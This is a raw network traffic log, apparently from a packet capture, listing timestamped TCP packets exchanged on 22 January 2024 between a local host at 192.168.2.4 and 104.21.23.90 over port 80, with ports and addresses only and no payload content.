Jan 22, 2024 11:52:05.381669044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.381695986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.382486105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.382499933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.382510900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.382524014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.382528067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.382538080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.382555008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.382582903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.383146048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.383161068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.383205891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.384957075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.384972095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.384980917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.384993076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.385020018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.385040998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.388575077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.388597965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.388611078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.388653994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.388928890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.388942957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.388972044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.388977051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.389007092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.389019012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.389036894 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.389060020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.398360014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.398423910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.398437977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.398456097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.398480892 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.398539066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.439095974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439106941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439230919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439243078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439255953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439268112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439285040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.439285994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.439492941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.440057039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440071106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440119028 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.440145969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440159082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440171003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440205097 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.440232038 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.440929890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440943003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440953970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440964937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440978050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.440989971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.441032887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.441781998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.441795111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.441804886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.441817045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.441828966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.441843033 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.441869020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.442610025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.442682028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.442696095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.442707062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.442718029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.442740917 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.442780018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.443614960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.443627119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.443638086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.443650961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.443662882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.443675041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.443706989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.444308043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.444336891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.444349051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.444360018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.444406986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.445256948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.445269108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.445317030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.445333004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.445346117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.445357084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.445385933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.446194887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.446208000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.446219921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.446232080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.446244001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.446254015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.446300030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.447091103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447205067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447216988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447227955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447241068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447264910 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.447299957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.447870970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447882891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447892904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447906017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447917938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.447926998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.447962999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.448640108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.448674917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.448721886 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.448726892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.448740005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.448754072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.448790073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.449548960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.449580908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.449592113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.449604988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.449616909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.449625969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.449673891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.450373888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.450404882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.450453997 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.450458050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.450470924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.450481892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.450515032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.451278925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.451291084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.451301098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.451313019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.451325893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.451339006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.451386929 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.452141047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.452182055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.452234030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.452234030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.452248096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.452260017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.452286005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.452995062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453006983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453017950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453035116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453047991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453051090 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.453098059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.453493118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453505993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453516960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453550100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.453560114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453572989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.453613043 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.454359055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.454370975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.454404116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.454416990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.454418898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.454431057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.454461098 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.454488039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.455174923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.455213070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.455264091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.455284119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.455296040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.455307007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.455339909 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.456110001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456123114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456132889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456145048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456162930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456171989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.456212997 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.456902981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456916094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456963062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.456964970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456979036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.456990004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.457021952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.457737923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.457750082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.457778931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.457799911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.457837105 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.457849026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.457861900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.457906008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.458611012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.458688021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.458703995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.458715916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.458729029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.458740950 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.458767891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.459536076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.459548950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.459559917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.459589958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.459595919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.459604025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.459635973 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.459659100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.460386992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.460398912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.460411072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.460422993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.460437059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.460447073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.460865021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.461261034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.461275101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.461287022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.461298943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.461309910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462095976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462107897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462120056 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462131977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462145090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462529898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.462975979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462987900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.462997913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463016033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463028908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463032007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.463077068 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.463095903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.463800907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463814020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463824987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463835955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463850021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.463862896 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.463906050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.464574099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.464633942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.464643955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.464657068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.464668036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.464679956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.464703083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.464742899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.465451956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.465513945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.465526104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.465537071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.465549946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.465573072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.465612888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.466353893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.466366053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.466377020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.466388941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.466402054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.466414928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.466438055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.466466904 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.467226028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.467237949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.467289925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.467298985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.467312098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.467322111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.467363119 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.468065023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468077898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468087912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468101025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468113899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468127966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.468173027 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.468940973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468954086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468964100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468976021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.468988895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.469002008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.469027996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.469789982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.469821930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.469831944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.469844103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.469857931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.469871044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.469929934 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.470566988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.470639944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.470652103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.470663071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.470674992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.470700979 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.470753908 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.471493006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.471504927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.471515894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.471528053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.471539974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.471554995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.471585035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.472359896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.472373009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.472383976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.472395897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.472409010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.472443104 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.472472906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.473202944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.473215103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.473226070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.473237991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.473253965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.473268032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.473298073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.474005938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474047899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474061966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474083900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474096060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474106073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.474144936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.474828005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474894047 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.474910021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474921942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474932909 CET	80	49730	104.21.23.90	192.168.2.4
